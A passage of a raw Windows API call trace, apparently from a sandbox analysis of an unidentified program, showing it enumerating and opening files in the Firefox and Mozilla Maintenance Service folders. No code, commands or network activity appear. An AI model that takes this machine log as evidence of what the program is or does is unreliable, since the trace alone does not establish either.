hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0925200, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb0925200, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb1049400, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x142, dwReserved0=0x0, dwReserved1=0x0, cFileName="shortcuts_log.ini", cAlternateFileName="")) returned 1 [0089.374] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.375] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.375] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.375] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.375] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.375] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0089.376] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef128) returned 1 [0089.376] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1ac8 [0089.376] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1313b10 [0089.376] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.376] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaef1c160, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaef1c160, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb12385e0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x794, dwReserved0=0x0, dwReserved1=0x0, cFileName="uninstall.log", cAlternateFileName="")) returned 1 [0089.376] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.377] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.377] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.377] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.377] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.378] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1ae8 [0089.378] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef128 [0089.378] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.378] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaef1c160, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaef1c160, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb12385e0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x794, dwReserved0=0x0, dwReserved1=0x0, cFileName="uninstall.log", cAlternateFileName="")) returned 0 [0089.378] GetLastError () returned 0x12 [0089.378] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9080 [0089.378] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0089.378] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaef1c160, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb0925200, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0925200, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.378] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf215ce0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf215ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4a579b00, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0xd4fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="helper.exe", cAlternateFileName="")) returned 1 [0089.378] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0925200, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb0925200, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb1049400, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x142, dwReserved0=0x0, dwReserved1=0x0, cFileName="shortcuts_log.ini", cAlternateFileName="")) returned 1 [0089.378] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaef1c160, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaef1c160, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb12385e0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x794, dwReserved0=0x0, dwReserved1=0x0, cFileName="uninstall.log", cAlternateFileName="")) returned 1 [0089.378] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaef1c160, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaef1c160, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb12385e0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x794, dwReserved0=0x0, dwReserved1=0x0, cFileName="uninstall.log", cAlternateFileName="")) returned 0 [0089.379] GetLastError () returned 0x12 [0089.379] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef1b0) returned 1 [0089.379] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0089.379] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0089.379] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.379] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf157600, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf157600, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x9f38e880, ftLastWriteTime.dwHighDateTime=0x1ced1d1, nFileSizeHigh=0x0, nFileSizeLow=0x89, dwReserved0=0x0, dwReserved1=0x0, cFileName="update-settings.ini", cAlternateFileName="")) returned 1 [0089.379] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf17d760, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf17d760, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x37dd6180, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x42e70, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.exe", cAlternateFileName="")) returned 1 [0089.379] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf17d760, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf17d760, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xac170580, ftLastWriteTime.dwHighDateTime=0x1ced1ec, nFileSizeHigh=0x0, nFileSizeLow=0x4dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.ini", cAlternateFileName="")) returned 1 [0089.380] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf17d760, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf17d760, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x3875f800, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x29bd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="webapp-uninstaller.exe", cAlternateFileName="")) returned 1 [0089.380] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf17d760, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf215ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf215ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="webapprt", cAlternateFileName="")) returned 1 [0089.380] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.380] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\webapprt" (normalized: "c:\\program files (x86)\\mozilla firefox\\webapprt"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf17d760, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf215ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf215ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.380] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\webapprt" (normalized: "c:\\program files (x86)\\mozilla firefox\\webapprt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0089.380] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0089.380] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0089.381] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0089.381] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0089.381] NtClose (Handle=0x164) returned 0x0 [0089.381] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.381] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef1b0 [0089.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.382] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9080 [0089.382] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf17d760, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf215ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf215ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.382] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf1efb80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf1efb80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x593e4d80, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x69f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="omni.ja", cAlternateFileName="")) returned 1 [0089.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef348 [0089.383] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef348) returned 1 [0089.383] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef348 [0089.383] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef348) returned 1 [0089.383] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef348 [0089.383] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1b08 [0089.383] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef568 [0089.384] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef348) returned 1 [0089.384] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf215ce0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf215ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xa91c1500, ftLastWriteTime.dwHighDateTime=0x1ced1ec, nFileSizeHigh=0x0, nFileSizeLow=0x1e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="webapprt.ini", cAlternateFileName="")) returned 1 [0089.384] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef348 [0089.384] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef348) returned 1 [0089.384] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef348 [0089.385] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef348) returned 1 [0089.385] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef348 [0089.385] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1b28 [0089.385] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef5f0 [0089.386] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef348) returned 1 [0089.386] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf215ce0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf215ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xa91c1500, ftLastWriteTime.dwHighDateTime=0x1ced1ec, nFileSizeHigh=0x0, nFileSizeLow=0x1e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="webapprt.ini", cAlternateFileName="")) returned 0 [0089.386] GetLastError () returned 0x12 [0089.386] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e91c0 [0089.386] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0089.386] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf17d760, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf215ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf215ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.386] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf1efb80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf1efb80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x593e4d80, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x69f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="omni.ja", cAlternateFileName="")) returned 1 [0089.386] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf215ce0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf215ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xa91c1500, ftLastWriteTime.dwHighDateTime=0x1ced1ec, nFileSizeHigh=0x0, nFileSizeLow=0x1e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="webapprt.ini", cAlternateFileName="")) returned 1 [0089.386] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf215ce0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf215ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xa91c1500, ftLastWriteTime.dwHighDateTime=0x1ced1ec, nFileSizeHigh=0x0, nFileSizeLow=0x1e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="webapprt.ini", cAlternateFileName="")) returned 0 [0089.386] GetLastError () returned 0x12 [0089.386] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.386] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0089.387] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef1b0) returned 1 [0089.387] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.387] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf17d760, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf17d760, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x390e8e80, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x1a670, dwReserved0=0x0, dwReserved1=0x0, cFileName="webapprt-stub.exe", cAlternateFileName="")) returned 1 [0089.387] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf1a38c0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf1a38c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x49266e00, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x1502070, dwReserved0=0x0, dwReserved1=0x0, cFileName="xul.dll", cAlternateFileName="")) returned 1 [0089.387] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf1a38c0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf1a38c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x49266e00, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x1502070, dwReserved0=0x0, dwReserved1=0x0, cFileName="xul.dll", cAlternateFileName="")) returned 0 [0089.387] GetLastError () returned 0x12 [0089.387] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0089.387] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0089.388] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0089.388] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0089.388] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf770e60, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb08409c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb08409c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla Maintenance Service", cAlternateFileName="")) returned 1 [0089.388] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0089.388] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service" (normalized: "c:\\program files (x86)\\mozilla maintenance service"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf770e60, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb08409c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb08409c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.388] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service" (normalized: "c:\\program files (x86)\\mozilla maintenance service"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0089.389] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119f6bc, lpLastWriteTime=0x119f6bc) returned 0 [0089.389] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0089.389] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f714, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119f714, lpOverlapped=0x0) returned 0 [0089.389] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0089.389] NtClose (Handle=0x16c) returned 0x0 [0089.390] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0089.390] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0089.390] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0089.390] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0089.390] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e9100 [0089.392] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf770e60, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb08409c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb08409c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.392] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf8093e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf8093e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2d22cc80, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x1d270, dwReserved0=0x0, dwReserved1=0x0, cFileName="maintenanceservice.exe", cAlternateFileName="")) returned 1 [0089.392] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.392] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.392] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.393] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.393] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.393] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.393] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb08409c0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb08409c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb08409c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x19ee4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Uninstall.exe", cAlternateFileName="")) returned 1 [0089.393] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.394] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.394] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.394] 